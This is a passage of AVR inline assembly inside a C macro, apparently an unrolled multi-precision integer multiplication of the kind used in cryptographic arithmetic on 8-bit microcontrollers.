\n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 